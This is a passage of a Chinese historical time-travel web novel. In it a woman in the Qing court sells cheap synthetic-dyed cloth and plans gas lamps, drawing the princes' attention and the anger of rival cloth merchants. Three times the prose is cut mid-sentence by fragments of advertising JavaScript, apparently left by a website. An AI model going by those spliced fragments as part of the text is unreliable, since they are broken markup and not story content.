炼焦工业的产品或衍生产品绝不止这些,染料和燃料是沈姝认为目前最容易变现的产品。 至于其他,她现在还顾不上。 说句自大的话,如果她愿意,绝对有能力开启化工大清之路。 但如此辛辛苦苦图什么呢? 这又不能算是完成任务,沈姝并不愿意扎根于此,所以到时候真需要用的时候再折腾也不迟。 见顺子听完之后居然在发愣,她提醒了一声,“都记下了?” “啊?啊!” 顺子啊啊了两声,眼神还停留在那些染料罐子上。 方才所演示的使用方法实在是过于神奇,不用处理茜草、蓼蓝、栀子等,就是一些奇奇怪怪的东西直接把布料浸泡进去就行了,简直是匪夷所思! 这完全不同于他们丁氏染坊的染布方法,绝对是闻所未闻,他一直都在想这到底是怎么回事。 染布的事情顺子还是比较了解的,虽然这种方法看起来简单极了,确实也上色了。 但关键的问题他不得不谨慎的多问一句,“这种染料染出来的布很亮丽,只是不知道水洗后是否褪色?” “我试过,不褪色,你也可以再试试。” 沈姝并没有责怪顺子对自己的不信任,反而觉得他比较有责任心。 顺子点点头,回想了一番沈姝刚才的话而后点点头,“都记下了。” 然后沈姝拿了三锭金元宝给他,“我手头只有五六百两银子,用在染坊和店铺上的最多不超过四百两,所以你们得看看这钱怎么花合适。” 赏赐的一共就十锭金元宝,而金银此时的官方兑换比例是一比八。 除去之前花掉的三锭金元宝,也就只剩下七锭,也就是五六百两银子。 这些钱不仅要开染坊,还得租店铺,买坯布。还要留一部分钱买煤炭等原料,手头比较紧。 尽管如此,沈姝也不想再开口向十四阿哥要钱。本来占着他的庄子炼焦已经算是麻烦他了,也可以算作是他的入股投入。 生意的事情,她还是想要保持一定的独立性,不想完全依附于他。 顺子点头表示会谨慎,拿着钱办事去了。 四百两确实不多,如此说来这染坊还不如他们丁氏的大呢! 但他没有嫌本钱过少,而是打算着怎么做才合适。曾听族里的长辈说过,给贵人办事,最紧要的就是多听少问。 六子见顺子他们都忙活起来,整日里不见个人影,也不知道都在忙些什么,只知道他们是在给沈姝办事。 可他却闲着,总觉得自己是被冷落了。 身为十四阿哥身边的贴身管事,结果整日的跟着沈姝这个名分未定的女人在庄子上耗着。 还得时常给十四阿哥禀报沈姝的消息,他重重的叹了口气,也不知道什么时候才能回去? 26.第 26 章 六子禀告了沈姝重用丁炳先等人的事情,十四阿哥没再找沈姝说什么。 主要是觉得染坊而已,不过是小事罢了。 只要沈姝高兴,随便她想怎么折腾。 不过却是交代六子继续跟着她,万一有什么需要帮忙的也好搭把手。 十四阿哥现在只想沈姝赶紧把生意做起来,这样才好让她住到自己买的宅子里。 染坊的事情进展很顺利,租块空地简单的搭建房屋及染料池即可。 为了降低成本,沈姝让六子出面帮忙租了郊外离十四阿哥庄子不太远的地方。 顺子他们都不是本地人,像租地、租房、雇人这些事情还是由六子出面最合适。 至少十四阿哥府的人,一般的地痞流氓也不太敢欺负。 当然沈姝也没有亏待六子,授意顺子他们私下里使些钱,不让六子白跑腿。 按顺子他们说的,染坊的工序可不少。即便是解决了染料的事情,还有其他。 比如布料染好后要雇踹匠使用卵形或弧形石块碾压或摩擦布帛,使之紧实而光亮。 这些沈姝还真不知道,所以都交由顺子他们负责,而她只需要把事情安排下去即可。 丁炳先虽然不能说话,但识字会算账,可以负责管理账目。 顺子则是管着原料的购置以及后续布店的买卖,栓子留在染坊照看。 至于六子,算是一块砖,哪里需要哪里搬。 就这样,半个多月后染坊很快建好,布店也租好了。 根据顺子做的市场调查,在京城卖得最多的应该是棉布,卖得贵的当然是丝帛。 所以沈姝只考虑染丝帛和棉布,不过丝帛的成本太高,只能先从棉布开始。 至于棉布的颜色,谨慎起见,就染眼下市面上的常见色。 对于这些,顺子他们都没有意见。 但对于沈姝的定价,他们很是不解! “沈小姐,我们打听过了,京城里的各色棉布价钱一尺在二十文左右,您的定价直接比正常价钱都低两文是不是太低了?” 棉坯布也就是未经染色的原布一尺折合十二文,染色之后根据颜色不同售价在二十文上下。 根据顺子他们所说,丁氏染坊一尺染好的棉布可获利两文钱左右。 如果是普通染坊,售价每尺低两文钱基本上应该是无利可图。 不过沈姝觉得低两文应该不算低,这不仅仅是因为合成染料本身的成本更低廉。 还由于染布工序的缩短,效率也有了大幅度提高。 也不怪他们三人如此不解,毕竟他们不知道染料的具体成本。 其实沈姝现在也不太清楚染料的具体成本,因为她觉得计算成本时还要把炼焦的其他产品也折算进去。 比如煤气灯、焦煤等的收入。 如果合成染料的成本相对天然染料都不能大幅度降低,沈姝觉得自己这生意应该算是提前失败了。 合成染料的主要优势就在于低成本与高色彩饱和度,在低端市场,肯定是价格更具有优势。 任何时候,价格战对于绝大部分消费者来说都是最受欢迎的! 所以棉布本身就是要打价格战,不打价格战那要靠什么打开市场? 对于价格,沈姝简单解释了一下,“这个价钱我们绝对有钱赚,但具体能赚多少还要过段时间才知道。” 然后又问了顺子煤气灯的情况,“灯具现在是什么情况?” 提到那种奇形怪状的灯具,顺子觉得这么丑,能卖的出去吗? 而且这东西制作起来还比较麻烦,按照沈姝的要求,现在还正在货比数家的没确定下来。 “目前问了六家铁匠铺,让他们各自制了样品。按照您的要求都进行了那个什么气密性测试,其中四家的都不行,只有两家还可以。 这两家的价钱差别不大,都在一两银子左右,不差几文钱。” 说实话,因为没有生活经验,沈姝对于大清国的物价极其不敏感。 一两银子到底贵不贵,她也说不好,因为得核算综合成本之后才知道自己亏不亏。 她知道煤炭的价格,约合一吨二三两银子。按后世的统计资料,一吨煤正常能出七百公斤左右焦煤。 除此之外,可产出焦油六十到八十公斤,煤气四十公斤左右,其他副产品,比如苯,大约十公斤。 粗略估算,假设焦炭按正常煤炭价格售出,扣除其他产品,亏损百分之三十。 这百分之三十里包含染料的部分原料成本,以及煤气灯的燃料成本。 也就是说,一吨煤产出的染料和煤气要能卖出超过一两银子才能不亏本。 这还是在没有计算其他染料原料的情况,而且还没有算上场地、设备投入。 不过按现的情况来算,一斤染料可染棉布数二十匹左右。 以最便宜的蓝布为例,市面价一尺十五文,定价十三文,一尺毛利按一文钱计算。 一斤蓝色染料的毛利为七百多文,这么算下来,光是染料就已经赚钱了。 因为一吨煤碳能出百十公斤的染料原料,就算是加上其他原料,净利润也得有大几十两银子! 况且定价这么低,根本就不愁卖,不存在库存积压的情况。 粗略估算之后沈姝觉得这煤气灯的利润倒显得可有可无了,不过煤气灯是必须要有的,否则煤气都浪费了! 要不是现在玻璃灯罩成本高,高低得给这些煤气灯整个灯罩,再给作坊里整些煤气路灯。 不急,等手头宽裕了马上就能安排上。 既然煤气灯不急于赚钱,沈姝想了想又问道:“寻常百姓夜里的灯油钱或蜡烛钱每月大概能有多少?” 不知道怎得又问到这些了,顺子有点儿跟不上沈姝的想法。 不过没敢问,能看得出来她其实对很多事情都不愿意多说,至少他是这么认为的。 比如石碳是怎么变成染料的? 顺子觉得神奇至极,但不会去问这些秘方的事情。 反正是想不通也搞不明白,让干啥干啥最省心! 所以他想了想回答道:“蜡烛一支少得三四十文钱,寻常百姓哪里用得起? 像我们家都舍不得用,平时都是用油灯,全家一个月的灯油钱也得二三两银子!” 沈姝听罢又继续问了一个问题,“一般的灯油多少钱一斤,一斤油供一盏油灯使用,能用多久?” “这个嘛……” 家里的杂事花销都是妻子管的,顺子还真不知道这些细账。 刚想说去打听清楚再说,就听一旁的栓子插嘴道:“灯油最便宜也得三十文一斤,要是夜夜用灯,怕是最多六七天就没了!” 这样啊,沈姝大概换算了一下。 一盏油灯一个月估计也得上百文的灯油钱,一年就得一两多银子。 那煤气灯一两银子一个也不贵,可以买灯送一年的煤气。 第一年可以不赚钱,先把灯的本钱收回来,从第二年加煤气再开始算钱。 不指望煤气赚什么大钱,所以就定一两银子一年的煤气使用量就行。 于是沈姝吩咐道:“灯具先定制五十个,价钱可以按对方说的。 但需要提前说好,咱们要验货,通过气密性检测的才收,否则不收。 另外可以租个小铺面,专门卖灯。 灯价就按定制的价格,买回去后一年之内灯油用尽,可以免费续用。 一年之后若是继续使用,还是按一两银子一年的灯油钱。” 顺子和栓子一听立刻同时说道:“那咱们岂不是赔了?” 仅是灯具就要一两银子一个,还要免费白送一年的灯油,就这还不算租铺子雇伙计的本钱…… 就算是傻子都知道这是赔本的买卖,一赔就是一年的灯钱和油钱,他们实在是想不明白! 沈姝解释道:“这个灯油其实不是你们平常见的那种,而是一种气体。 这是制作染料产出的一种东西,除了当燃料没有其他太大的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 作用。 说白了就是这东西扔了也是扔了,能卖出去多少算多少。 这这种灯具使用起来不同于其他,我会把注意事项写下来,到时候需要给买灯的人讲清楚要怎么使用,让买家都签字确认。 如何充气也需要培训一下伙计们,这些等雇过人之后再说。” 顺子他们听完之后懵圈的很,什么气体什么燃料,完全不知道是什么意思! 不过这话的大概意思能听懂,就是这灯油非同寻常,居然不要钱? 虽然不明白怎么还会有不要钱的东西,但沈姝怎么说他们只能怎么听。 顺子点点头,“那我这就去定做,回头还得再雇几个短工。” 栓子比较关心布店什么时候能开业,直接问道:“眼下各色棉布已经开始染制,这一天下来怎么也得染出四五十匹,您看是不是很快就能开卖了?” 主要是染的实在是太快太好了,因为根本不需要调色也不需要多次浸染,都是把染料倒进去搅和匀之后就可以用了。 一次浸染也就数个时辰即可完全上色,上色十足! 而正常的染坊从处理染料开始到浸染完成,至少得数日,这差别可真是太大了! 现在也就是踹布费时间,比染布还麻烦。所以布料要是不尽快卖出去,会越积越多。 沈姝点点头,“可以,等各色棉布都染出三十匹就开业。” 现在只染了红蓝绿三色的深中浅三种颜色,其他中间色还没来得及调兑。 因为黄色是帝王色,不能私染。 至于正紫色,已经献为贡品,也不能用,再说紫色染棉布效果也不好。 不过这些可以用来调兑其他颜色,具体调制成什么颜色目前还不确定。 沈姝打算先调兑几种市面上没有的颜色看看效果,就用丝绸做试验。 原本还说过开业了要送十四阿哥和四阿哥料子,什么名贵的料子她可买不起。 干脆买几匹寻常丝绸,染出些不寻常的颜色当礼物得了。 正打算吩咐顺子抽空去买几匹原色丝绸呢,就见方才一直低头写字的丁炳先起身走过来递了一张纸。 沈姝接过来看到上面写了一大段话,“沈小姐,布料的定价我还是觉得过低,有些不妥。倒不是赚不赚钱的问题,相信您敢如此定价,一定是赚钱的。 只是如此低价,怕是会惹得其他同行群起而攻之。比如蓝布,许多染坊一尺布也就赚一两文钱。 您定价十三文,他们是无论如何都跟不上的!如此定价,布料必是不愁卖,只是怕会惹众怒……” 这事沈姝也想过,可她没有多想。 商场如战场,不可否认,如此定价确实是嘎嘎一片乱杀。 这是技术的碾压,她只不过是让历史提前了! 但这事有解决的办法,她也不是不能转行卖染料,但前提肯定是要先从布店打开局面。 同行要赚钱,难道她不要? 再说百姓们不想买到更便宜的布料吗? 不过说句实话,也就是靠着十四阿哥,沈姝才敢这么做。 否则,她还真不敢! “丁大哥,谢谢你的提醒。 不过我暂时不打算改变主意,如果同行愿意,我可以单卖染料。” 丁炳先一时之间没想到可以单卖染料的事情,在他的固有印象中,卖蓼草、茜草等料草的农人并不赚钱,赚钱的是开染坊卖布的商户。 沈姝这么一说,他才想起来她的染料不来源于此,不可同日而语。 染坊他也看过,卖染料也不是不可行。 只是怕没有那么容易,这已经算是染坊布料行业的惊天聚变! 不过有几个阿哥撑腰的话,丁炳先觉得可以试试,于是没有再说什么。 只是感慨自己有生之年居然能得见如此巨变,想来若不是丁氏染坊被夺走,在沈姝这种奇才的挤兑下必定也是难以维持…… 事情都安排妥当之后,很快沈姝的铺子千色布店开业。 27.第 27 章 “新店开张,蓝布一尺十三文,绿布一尺十五文,红布一尺十六文……” 九月十六这天上午,京城一家不起眼的布店开张了。 这家布店门面不大,位置不佳,可摆出来的九种布料颜色亮丽。 两名伙计在店铺门口高声叫卖着,但凡路过的妇人都被吸引住了! 妇人们平日里买布裁衣,当然知道布价几何。现在一听这报价,简直都不敢信,随之都上前询问是否属实。 “伙计,你刚才说的那价儿可是真的?” 伙计一看有客上门,连忙笑道:“那还能有假?婶子不信大可买几尺试试!” 妇人见状反倒是更迟疑了,“你这布该不是一洗就掉色吧?” 不然能这么便宜? 谁信啊! 然而伙计却不乐意的嚷嚷道:“嘿,你这大婶可不要血口喷人!喏现在你就可以洗洗看,要是不掉色你得买走!” 妇人也不甘示弱,立刻说道:“洗就洗,你端盆水过来,不掉色我多买几尺!” 很快,伙计端过来两盆水,还喊道:“谁要是怕我们这布会掉色,可以自己洗洗看。” 围观之人中还真有直接动手来试的,不试试谁知道这么便宜的布是不是有毛病? 两名中年妇人搓了又搓,发现真的毫不掉色,其中一位脸色惊喜的抬头喊道:“哎快,就那个深颜色的红布,快给我扯十尺,啊不,二十尺!” 有便宜不占是傻子,这么便宜的布,必须得抢! 一尺便宜两文,这二十尺可是便宜四十文! 其他人见状也全都冲了上去,连那两盆水都不知道被谁一脚踢翻了,急得生怕晚了价钱又涨回去了。 “别急别急,一个个来啊!” 顺子见状高声大喊,心里乐得开花。 这么便宜的布,不抢才是傻子,这样才正常嘛! 像这种的布店开业,根本就无需什么开业仪式。上午开的门,半下午二百七十匹布全卖光,直接就提前打烊了。 得到消息来的晚的人对着关闭的店门捶胸顿足,后悔不已! 尽管关门前顺子喊了几次都说明日照常开门,价钱还跟今天一样。 可是买家都不信,总觉得这大便宜不可能天天有。 而顺子从来都没有见过谁家布店的货居然能卖的如此之快,二百七十匹棉布啊,大半天光景就变成了一百五十多两银子! 赚钱就这么容易? 跟做梦似的…… 回去汇报给沈姝把银子交了之后,顺子仍意犹未尽的跟丁炳先和栓子两人唾沫横飞的讲着布店的盛况。 直听的栓子开始扒拉着丁炳先桌上的算盘算账,“这一天一百多两,两天三百两,那一个月……我算算啊!” 噼里啪啦的一通拨弄算盘珠子,他算出来后惊呼不已,“天呐,四千多两一个月,一年可就腰缠万贯了!” 这也太吓人了,不仅是栓子,连顺子都咽了口唾沫。 丁炳先摇了摇头,账哪能这么算? 如果仅仅只是在京城,不可能日日如此,谁家日日穿新衣? 一直维持在这个价位,销量会趋于稳定,现在只是刚开始。 然而这样已经很可怕了,因为仅仅只是在京城而已! 若是在其他地方亦如此定价,那也是一样的。这才叫可怕,直接会挤死天下所有染坊和布行! 现在只不过刚开始,那些同行还没有发现情况,再过些日子,麻烦可是要找来了。 丁炳先不禁有些担忧…… 沈姝不操心这些,她正在调色,调兑之前还特意问了丁炳先什么颜色贵重些。 丁炳先说是群青,那是一种深蓝色,介于紫色与蓝色之间,据说带有一种远山碧水的澄澈感。 这种颜色沈姝知道,可以用蓝色与紫色混合调兑,比例需要试验一下。 除此之外,她还调兑了一些其他青色系,凑了六种不同的青色。 因为十四阿哥青色的衣服比较多,应该是喜欢这种颜色。 至于四阿哥,沈姝不知道他喜欢什么。 只见他穿过玄色或褐色的,所以简单准备了黑红、黑紫两色。 不过这不重要,因为还得给四福晋这种潜在客户送一些,四阿哥只是顺带。 除此之外,还给八阿哥、九阿哥、十阿哥还有十三阿哥,这些所有她认识的阿哥们都备了礼。 颜色都错开了,没有重复的,重点儿都放在了福晋们可能会喜欢的颜色上。 反正都是些花里胡哨的颜色,看着比较亮眼。数量上一视同仁,都是六匹。 买的是那种档次比较低的丝绸,二两银子一匹的,就这每人六匹还得花七十二两银子呢! 要不是布店第一天的营收就有一百多两,说实话这送礼的钱沈姝还舍不得。 染坊和布店的生意还得提前跟十四阿哥打声招呼,所以沈姝亲自去送这份薄礼。 其他阿哥的,都交由六子去送。 送礼这事,没有隐瞒的必要。再说去阿哥府送礼,六子最合适。 收到沈姝送的布料,十四阿哥很高兴。 尤其是这颜色,全都是各不相同的青色。有些颜色他都没见过,一看就知道是花了心思的。 “这些我都很喜欢,阿姝你真是心灵手巧!” 夸完之后,十四阿哥随口问了一下生意的事情,因为这是沈姝所关心的。 “生意上可还顺利?” 沈姝正想说这个,点了点头,“顺利,不过就是太顺了!” 这话说的,十四阿哥感到稀奇,“顺利还不是好事吗?” 沈姝觉得这事还是要如实跟十四阿哥说清楚,毕竟到时候需要他帮忙。 “十四爷您知道的,民女的染料制取来源于西洋技艺,故而染料色彩缤纷且比较低廉。 自然而然,本钱低廉这售卖价就会随之更低。问题呢,就出在这里。” 不知道十四阿哥对生意上的事情了解多少,沈姝尽量说的更为明白些。 “于百姓而言,必是喜欢物美价廉。可俗话说,同行是冤家。 百姓都来买民女的布料,那必然会惹得其他同行不悦……” 十四阿哥听明白了,沈姝是怕生意太好而惹来其他商户的妒忌使坏,他想也没想的就直接说道:“这些你不用担心,做买卖向来都是各凭本事。” 他并没有意识到沈姝这 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 可不是一般的买卖,也不是普通的惹人嫉恨! 当然,勿说是他,就是其他染坊和布店此时都无法想象沈姝所带来的是怎样一股席卷一切的龙卷风。 而沈姝现在也无法预料同行们会怎样,毕竟她一个同行也不认识。 她只是想静观其变,顺势而为。 得到十四阿哥的保证,算是有了保障,沈姝也趁机表达了自己的态度。 “这生意能做起来,仰仗于十四爷您。若是得了利钱……” 话还没说完就被打断了,十四阿哥知道沈姝要说什么,脸色不悦的拒绝了。 “你赚的钱都是体己钱,自己收着即可。若是与我如此见外,我可要生气了!” 他不喜欢听这样的话,难道自己是那种会贪图女子体己钱的男人吗? 再说分什么利钱,算得像搭伙做生意似的,这并不是他想要的结果。 沈姝暗叹一口气,没有继续再说要当金主的事情,转而安抚了一句。 “您别生气,民女不说了。” 见沈姝服软,十四阿哥也没有再计较,转而说起另外一件事。 “既是已在城内开了店铺,你总住在城郊的庄子上多有不便。 正好我在城内还有套小院子,回头让六子带你过去看看还缺什么可以添置一些。” 一提到院子,沈姝就想到之前自己白白浪费了一个月租金而没能住进去的院子。 十四阿哥盛情难却,只能先顺着他,不然又是一通毫无意义的争执。 于是她点头轻声应下,“谢谢十四爷体恤。” 见沈姝没有拒绝,十四阿哥又趁机表明了一下心意,“阿姝,我的心思你是知道的。咱们认识时间尚短,我知道你有所顾虑,不过没关系,我可以等。” 这番话沈姝着实是没有办法回应,根本不是等不等的问题。 十四阿哥有妻有妾,在这个时代,实属正常。想必他也认为很正常,但这不是她所能接受的,所以只得垂下眼帘无言以对…… 还好十四阿哥见状没有再多说什么,沈姝很快也切换了话题。 “对了,新店开张,我让六子给四爷、八爷、九爷、十爷、十三爷他们都送了些料子。” 一听到四阿哥和十三阿哥,十四阿哥就皱眉,尤其是四阿哥! 但所有沈姝认识的阿哥们,她都送了礼,并不单单只是送了四阿哥一人,十四阿哥也不好直接说什么。 再说沈姝让六子去送礼,其实是代表了他的意思。 就算是让兄弟们知道沈姝做生意的事情也没什么,所以十四阿哥点了点头,“嗯,这些杂事你让六子去办即可。” 即便是四阿哥心怀不轨,十四阿哥也并不认为沈姝会对他有什么私情。 不仅是因为沈姝并没有表现出来什么异样,关键是四阿哥凭什么? 凭他穷酸抠门脾气坏,还是凭他年纪大到足以当她的阿玛? 反正十四阿哥很有自信,若是让沈姝选,她一定会选自己! 十四阿哥没有胡乱怀疑倒是对的,因为此时的沈姝对四阿哥确实没有任何男女之情。 不过送礼一事,到底还是有些影响的,几位阿哥们的反应各不相同。 28.第 28 章 “听六子说这布料是那位沈小姐让送来的,说是她的铺子开张了。” 四阿哥府上,四福晋将收到六子送礼的事情说与四阿哥听。 这事对她来说比较稀奇,因为十四阿哥与四阿哥两兄弟之间的关系并不好,平时并不会送什么礼品。 之前沈姝提过要做生意的事情,当时四福晋还委婉的表示了此举不太合适,没想到这铺子到底还是开了起来。 “哦?” 四阿哥露出微微疑惑的表情,其实他知道沈姝要送礼物的事情,因为她之前就说过要送的,现在果然送来了。 他的语气表露出明显的好奇,“都是些什么料子?” 四福晋觉得四阿哥的表现有些奇怪,对于吃什么、穿什么他一向都是毫不在意的,怎么现在会问这些? 不过她没有表现出来,而是笑道:“就是几匹丝绸布料,我让人拿过来您也看看。 其中有几匹颜色很是鲜艳,若是年轻几岁,妾身倒是真想上身试试。” 说罢她吩咐婢女去库房里把六子送的那六匹料子全拿过来。 说起料子的颜色,四阿哥觉得沈姝还真是有绝活的,当初那个紫色染料就非同寻常。 他笑着简单的提了几句,“前段时间她折腾出来一种紫色染料,那些洋人们见了甚是喜爱,还恳求皇阿玛允许能进献给他们的教皇和国王。” “还有这样的事情?沈小姐果真是心灵手巧之人……” 四福晋是真的有点儿惊讶,之前只是听八福晋说过沈姝因为染料一事被皇上嘉奖,洋人的事情她倒是不知。 其实主动提起料子的事情,是想说十四阿哥纵容沈姝经商一事,她始终觉得这不太妥当,想看看四阿哥是什么意思。 毕竟十四阿哥是四阿哥的一母同胞的亲弟弟,做兄长的对于弟弟的事情,不能一点儿都不关心。 但四阿哥现在一点儿都没有反应,言语间尽是对沈姝的夸赞,四福晋反倒是不知道该不该继续提了。 其实她对沈姝还是相当有好感的,毕竟救过她侄女的命。正是因为如此,才不希望沈姝陷入什么麻烦。 之前还说要请人来做客,因为四阿哥受伤一事才耽搁了下来,不然还能再劝劝。 这时,婢女捧着料子进来了。 四福晋笑着说道:“爷您看,就是这些。” 这些料子中,那两匹黑色混在娇嫩的颜色中实在是过于显眼。 所以只需一眼四阿哥就能猜中这两匹黑色料子必定是专门送给他的礼物。 至于其他的,与他无关。 他站起身来随手拿起其中一匹黑色的料子仔细看了看,发现了四福晋未曾发现的细微之处。 “这料子不是纯黑的,似乎是黑中透红?福晋你也看看。” 四福晋也拿起来细看了一番,不细看不知道,细看之下发现透着阳光看的话,确实是暗带红光,不是寻常的黑色。 而后她又拿起另外一匹,“这匹似乎是透着紫色?” “料子不错,很雅致,收起来吧。” 四阿哥垂下眼帘翘起嘴角,心道这份礼物倒是用了些心思。 “妾身瞧着也是别致。” 四福晋知道四阿哥这么说,就是很满意这些布料。所以可以给他裁制新衣了,就用这两匹料子。 十三阿哥收到礼物后就比较诧异了,他自觉与沈姝的关系应该算不上好吧? 第一次见面就得罪了她,还被逼的低头道歉! 无功不受禄,十三阿哥的第一反应是沈姝为什么要送布料过来? 她是那么的刁钻狡黠,不可能会有意送礼讨好他这种毫不起眼的阿哥。 想不明白这个问题,十三阿哥当天就去找四阿哥了,反正闲着也是闲着。 “四哥,你说她为什么要送礼物给我?” “我想她应该是不想厚此薄彼,所以给所有认识的人都送了。” 四阿哥瞥了十三阿哥一眼,点出来这个事实,让他不要多想,他只是被顺带的。 “这么说四哥你也收到了?” 十三阿哥啧啧了几句,“看样子她这铺子买卖不小,居然舍得如此做人情。那咱们都收了礼,以后是不是得帮衬一二?” 四阿哥慢悠悠的问着:“你想如何帮衬?” “我以后让福晋多去她店里买料子? 福晋还说那些料子比内务府的鲜亮,她很是喜欢。” 十三阿哥觉得自己只能帮上这样的忙,听得四阿哥微微摇头。 “随你,不过既然颜色好,想必她店里的买卖应该会不错。” 十三阿哥笑了笑,“她那么精明,怎么可能会做赔本的买卖!” 顿了顿又道:“不过买卖做的太好怕是不好,到时候说不得会有人因此而弹劾十四弟。” 这话的潜在之意四阿哥清楚,无非就是外人都将沈姝视为十四阿哥的女人,尽管她现在并没有进门。 就连十三阿哥也是这么认为的,所以才会这么说。 因为皇子不能经商,至少明面上是这样。 而且也没有哪个皇子的内眷经商,阿哥们的日常开销都依赖于内务府。 四阿哥不否认十三阿哥所说有一定的可能性,不过他认为问题不大,无非就是到时候十四阿哥会遭到训斥。 他认为这些十四阿哥应该已经想过了,否则不可能不拦着。 以此看来十四阿哥对沈姝确实是比较上心,想到这里四阿哥叹了口气,“不过是想赚些体己钱而已,沈姑娘自己应该也有分寸。” 十三阿哥没有再说什么,不过总觉得沈姝会折腾出来什么事…… 相比于四阿哥和十三阿哥,八阿哥对于沈姝经商一事很是不赞同,直接把十四阿哥喊来说了一通。 “十四弟,不是我说你,怎么能让沈氏做这些?她要是打着你的名头在外面生事,万一传到皇阿玛耳朵里可不是什么好事。” “八哥,阿姝不是这样的人!” 恰恰相反,十四阿哥对于沈姝不问自己要钱要人就自行做买卖的事情不太高兴,总觉得这是她不愿意依靠他的表现。 说句不好听,他还巴不得她在外面遇到麻烦打着自己的名头来求自己帮忙呢! 而八阿哥一听这话就有点儿无语,怎么看十四阿哥都像是被迷晕了头。 他没好气的哼了一声,“好好好,你的阿姝不是这样的人!” 接着又道:“可你还不了解那些人吗? 他们恨不能逮住机会使劲儿的败坏咱们在皇阿玛心中的德行!” 十四阿哥并不傻,当然明白八阿哥所说。 不就是怕太子的人趁机弹劾,就像上次凌普一样。 他无所谓的笑了笑,“那又怎样,大不了让皇阿玛骂一顿,我又不在乎这些。” “你呀!” 八阿哥叹了口气,“明知道会被骂,还非要这样啊?” 他是觉得沈姝这女人实在是太能惹事,之前凌普的事情还有现在刑部的事情,这还没完,还要做生意。 虽然凌普的事情结果于他有利,刑部的案件也算是个好机会。 但八阿哥还是觉得沈姝的事有点儿多,这次做生意可别惹出来什么其他麻烦! 她毕竟 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是十四阿哥的女人,真要有什么事,十四阿哥求来,他这个当兄长也不能不管不问。 而且看十四阿哥这样,明显是昏了头。 到时候说不定那女人说什么他听什么,别人说什么他都听不进去。 一旁的九阿哥见状说道:“这不明摆着呢,十四弟一心要博得美人欢心!” 说实话换作是他,也愿意啊! 被骂几句怎么了? 长这么大,又不是第一次被骂…… 反正不被骂也落不得多大好,还不如美人在怀来的实在。 十阿哥笑道:“十四弟正是年轻气盛时,如此这般也正常!” 不就是卖点儿布料嘛,多大个事,皇阿玛得多闲才会管这些? 没有人能想到这事会有多大,可这事很快就变得很大,大到难以想象! 千色布店开张的次日,还没开门营业,外面已经围满了百姓,里三层外三层的。 昨日买回去布料的人都高兴的像捡到钱似的,这一传十、十传百的,一晚上就成了这样。 顺子他们早上运送布匹时看到正门口被围的水泄不通,连门都不敢开,直接请六子帮忙去找人来震震场子。 否则他还真怕这些人乱起来,冲进来把布匹都抢走了! 六子也没见识过这样的场面,谁家店前会这样? 万一沈姝的店里出了事,倒霉的可是他,所以只得拿着腰牌去请巡街的差役过来。 见差役过来,有些百姓怕惹事,想要离开。顺子见状连忙给差役们每人塞了一钱银子,拜托他们帮忙维持一下秩序,别把人都吓跑。 差役们得了钱,再加上十四阿哥的面子,这才对着百姓们露出些许和善的面孔,帮忙吆喝着,“想买东西的都排好了,别一窝蜂的往前挤!” 顺子也高声大喊:“大家伙别抢啊,咱们这店日日开张,都是这个价!” 店里的伙计们再也无需去门口叫卖,只顾得上低头裁布,抬头收钱,忙的跟转动的陀螺似的不停。 这次的布料,半天就清空了! 主要是染坊的规模不够大,所以正处于供不应求状态。 可这一提前关门,不由得给人一种有便宜不占就算吃亏的错觉。 其实这效果,等同于饥饿营销。 买过的人总觉得自己买的不够多,毕竟布料耐放,能买便宜的谁想要贵的? 没买到的人就更急切,这么大的便宜没占到,还不急死人? 接连几日,千色布店的布料都卖到脱销。 前来买布的不仅有附近的百姓,竟然还有京郊之人,这些都是听人说特意跑过来的。 过来之后发现居然是真的,那二话不说当然是立刻掏钱买买买! 就算是坐牛车过来也合算,牛车才几文钱? 不过是一尺布省下的钱! 千色布店的生意热火朝天,与之相对的,其他布店的生意可谓是一落千丈。 不消半月,几乎所有店铺的棉布在接连数日的时间内,竟然是连一尺都没能卖得出去! 布店的掌柜都快受不了了,刚开始时店里的生意变差,他们没察觉。 后来越来越差,他们倒是发现了情况,那就是有一家千色布店刚开业,所以在赔钱赚吆喝,但他们没有在意。 一尺棉布低两文,任谁都知道这是不赚钱的买卖,都想着这生意肯定做不长! 毕竟大家开店做买卖都是为了赚钱,哪个大傻子是为了一直赔钱? 然而谁都没有想到,这傻子居然接连低价卖了半个月还不消停! 当真是疯了不成? 29.第 29 章 “千色布店都已经持续快一个月了,咱们难道就这么干坐着?” 京城布店的掌柜们齐聚一堂,都在商量这事到底应该怎么办? 毫不夸张的说,现在他们每个人的店里店外都是门可罗雀! 这些天他们也不是什么都没有做或者不想做些什么,而是在京城里做买卖的人都不傻,知道在做什么之前要先查清楚对方的底细,否则,还不知道会惹到什么不能惹得人。 虽然这家千色布店的店面并不大,看起来还略带穷酸之气。但他们还是比较谨慎,先是去查了对方的底细。 六子这个十四阿哥府的人一直都在店里呆着,再加上请过兵马司的人来维持秩序,所以只需稍微一打听就能知道千色布店与十四阿哥府有关。 若不是这样,他们这些掌柜的早就找些地痞无赖去砸店了,哪里还会坐在这里干瞪眼? 对于这些商贾来说,这种有深厚背景关系的同行是他们最不愿意撕破脸闹翻的存在。 为人处世,无论是官场还是商场都一样,那就是对弱者示强,向强者示弱。 之所以还能勉强坐得住,是因为大家依然都还觉得千色布店如此这般的价钱根本持续不了多久。 但一个月时间也已经着实不算短了,这才有些忍耐不住。 其中一人提议道:“我看要不咱们出面约一下那家布店的掌柜,打听问问看他们到底还要吆喝多久? 都这么久了,他们店的名气已经打出来了,应该不需要再这么赔钱赚吆喝了吧!” 紧接着又有人附和说:“是啊,这打听打听也不算得罪人。打听清楚了,也好过一直这样干等着。” 见有人附和,为首的那人说道:“那咱们可说好,都要出钱出力,一致对外。” 其实把人都叫过来,就是为了说这话。 受影响的又不止一家,当然是大家都要出头,总不能让某家去独挑大梁。 来的人当然也知道是什么意思,所以都点点头表示同意。 拿定主意后,布店掌柜们直接以京城布庄行会的名义给千色布店发了张邀请帖。 顺子收到这张帖子后,反倒是松了口气,他一直在等这张帖子。 有了帖子,才有上台面的机会,也才能商量后续的事情。 否则寻常的小店铺,哪里能入得了行会的眼? 当然,这也是沈姝的意思。 回去之后顺子就拿着邀请帖请示,沈姝想了想说道:“既然如此,三日后你去赴约,就按咱们之前说的。 